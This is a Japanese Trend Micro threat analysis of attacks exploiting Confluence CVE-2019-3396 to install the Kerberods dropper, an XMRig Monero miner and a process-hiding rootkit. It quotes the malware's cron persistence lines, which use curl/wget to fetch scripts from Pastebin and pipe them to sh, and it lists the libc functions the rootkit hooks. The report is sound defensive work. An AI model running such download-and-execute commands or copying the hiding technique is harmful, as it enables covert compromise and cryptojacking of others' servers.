ソフトウェア開発企業「Atlassian」は、2019年3月、広く利用されているコラボレーションソフトウェア「Confluence」の2つの脆弱性に関するセキュリティ勧告を公開しました。トレンドマイクロは、2019年4月、問題の脆弱性の1つ「CVE-2019-3396」を利用する攻撃を確認しました。CVE-2019-3396は、Confluenceのインスタンスでパストラバーサルと遠隔からのコード実行が可能になる脆弱性です。同じ脆弱性が利用された事例として、セキュリティ企業「Alert Logic」は、暗号化型ランサムウェア「Gandcrab」を作成する攻撃について報告しています。
攻撃者は依然としてこの脆弱性「CVE-2019-3396」の利用法を探求しているようです。トレンドマイクロは、この脆弱性が、活動を隠ぺいするためにルートキットを利用する仮想通貨発掘マルウェアの拡散に利用されていることを確認しました。仮想通貨発掘マルウェアとルートキットを組み合わせたこの手口は、2018年11月に確認された別の攻撃を彷彿させるものです。
■感染の流れ
図1は今回確認された仮想通貨発掘マルウェアの感染の流れです。
図1:感染の流れ
この攻撃は、問題の脆弱性を利用し、ソースコードなどを共有するWebサービス「Pastebin」のURL「hxxps://pastebin[.]com/Mj<省略>」からシェルスクリプトをダウンロードするコマンドを遠隔から送信するところから始まります。
このシェルスクリプトは、特定のプロセスを終了し、別のPastebinのURL「hxxps://pastebin[.]com/Cv<省略>」からシェルスクリプト「lsd_1」をダウンロードし、実行します。この2番目のシェルスクリプトは、3番目のシェルスクリプト「lsd_2」をさらに別のPastebinのURL「hxxps://pastebin[.]com/a3<省略>」からダウンロードします。
3番目のシェルスクリプトは以下のサーバからドロッパをダウンロードします。
- gw<省略>[.]com
- img[.]<省略>[.]com
このドロッパが作成するマルウェア「Kerberods」(「Trojan.Linux.KERBERDS.A」として検出)はカスタムパッカを使用してパックされたバイナリファイルで、以下のcronジョブを介して自身をインストールします。
- */10* * * * curl -fsSL hxxps://pastebin[.]com/raw/60<省略>
- */15* * * * wget -q -O- hxxps://pastebin[.]com/raw/60<省略>
- */10* * * * root curl -fsSL hxxps://pastebin[.]com/raw/60<省略>
- */15* * * * root wget -q -O- hxxps://pastebin[.]com/raw/60<省略>
- */15* * * * (curl -fsSL hxxps://pastebin[.]com/raw/rP<省略>||wget -q -O-hxxps://pastebin[.]com/raw/rP<省略>)|sh
Kerberodsは仮想通貨発掘マルウェア「khugepageds」(「Coinminer.Linux.MALXMR.UWEJI」として検出)とそのルートキットコンポーネントを作成します。
このバイナリファイルは興味深い方法でルートキットを作成します。まず、Kerberodsはルートキットのためのコードを「/usr/local/lib/<ランダムなファイル名>.c」に書き込みます。
図2:ルートキットのコードの書き込み
次に、このルートキットのコードはコンパイラ「gcc」によってコンパイルされ、バイナリファイル「/usr/local/lib/<ランダムなファイル名>.so」を出力します。
図3:ルートキットのコードのコンパイル
Kerberodsは複数の拡散手法を持っています。1つはSSHを介した方法、もう1つは脆弱性「CVE-2019-1003000」および「CVE-2019-1003001」を利用する方法です。
仮想通貨発掘マルウェア「khugepageds」は、Moneroを発掘する仮想通貨発掘ツール(コインマイナー)「XMRig 2.14.1-mo1」です。このコインマイナーの設定はバイナリファイルにハードコードされています。
図4:コインマイナーの設定
マイニングプールは「systemten[.]org:<省略>」です。
■回避の手口としてのルートキット
今回確認された攻撃は、2018年11月に確認された事例との間に以下のような共通点を持っています。
- Pastebinをコマンド&コントロール(C&C)サーバとして利用
- 仮想通貨発掘マルウェアのペイロード
- マルウェアの活動を隠ぺいするためにルートキットを利用
Kerberodsと同様に、ペイロードである仮想通貨発掘マルウェアもまた解析を妨害するためにカスタムパッカを使用してパックされていました。
図5:カスタムパッカを使用して仮想通貨発掘マルウェアをパック
2018年11月の事例では、ルートキットは仮想通貨発掘プロセスを隠ぺいするために「readdir」関数のみをフックしていました。しかし、今回確認されたバージョンのルートキットはより多くの関数をフックし、仮想通貨発掘プロセスだけではなく、特定のファイルとネットワークトラフィックを隠ぺいします。他にも、CPUの使用状況を偽装する機能を備えています。
ルートキットがフックする関数は以下の通りです。
- fopen
- fopen64
- lstat
- lxstat
- open
- rmdir
- stat
- stat64
- __xstat
- __xstat64
- unlink
- unlinkat
- opendir
- readdir
- readdir6
フックされた関数のほとんどは、ルートキットおよびコインマイナーのファイル名または「ld.so.preload」がパラメータに含まれている場合、「No such file or directory error」というエラーを返します。
図6:フックされた関数がエラーを返すことで感染を隠ぺい
図7は、システム監視ツール「htop」を使用しルートキットがある場合と無い場合を比較したものです。ルートキットによりCPUの高使用率と仮想通貨発掘プロセスが隠ぺいされていることが分かります。
図7:ルートキットの有無をシステム監視ツール「htop」で比較
図8:ルートキットの有無を「Netstat」の出力で比較
図9:CPU使用率とTCP接続を偽装する関数
図10:ネットワークトラフィックを偽装するコード
図11:CPU使用率を偽装するコード
このルートキットは、「access」関数をフックし、この関数が呼ばれるたびにcronジョブを作成しマルウェアを再インストールすることで活動を持続する機能も備えています。
図12:Kerberodsをダウンロードし実行するcronジョブを作成するコード
■トレンドマイクロの対策
トレンドマイクロは、CVE-2019-3396を利用する攻撃を短期間で複数確認しています。これは、利用可能な脆弱性が見つかった場合、サイバー犯罪者は複数の方法でそれを利用しようとするということを示しています。このような脅威を検出するために、継続的な監視が求められます。
トレンドマイクロの「Hybrid Cloud Security」は、DevOps 体制を支えるセキュリティチームに対して、「XGen」アプローチにより、物理・仮想・クラウドの混在環境における最適なセキュリティを提供します。総合サーバセキュリティ製品「Trend Micro Deep Security™」およびコンテナイメージを保護する「Deep Security Smart Check」により、デプロイおよび実行時にコンテナイメージをスキャンすることが可能です。総合サーバセキュリティ製品「Trend Micro Deep Security™」をご利用のお客様は、以下のルールにより本記事で解説した脆弱性を利用する脅威から保護されています。
- 1009705 – Atlassian Confluence Server Remote Code Execution Vulnerability (CVE-2019-3396)
■侵入の痕跡(Indicators of Compromise、IoCs)
侵入の痕跡はこちらを参照してください。
【更新情報】
2019/05/28 11:30 | 図1の「脆弱性を利用」から伸びる矢印が、「信頼できる感染ホストからSSHを介してコマンド実行」ではなく、「Pastebin.comからスクリプトをダウンロードして実行」につながるように修正しました。 |
参考記事:
- 「CVE-2019-3396 Redux: Confluence Vulnerability Exploited to Deliver Cryptocurrency Miner With Rootkit」
by Augusto II Remillano, and Robert Malagad
翻訳: 澤山 高士(Core Technology Marketing, TrendLabs)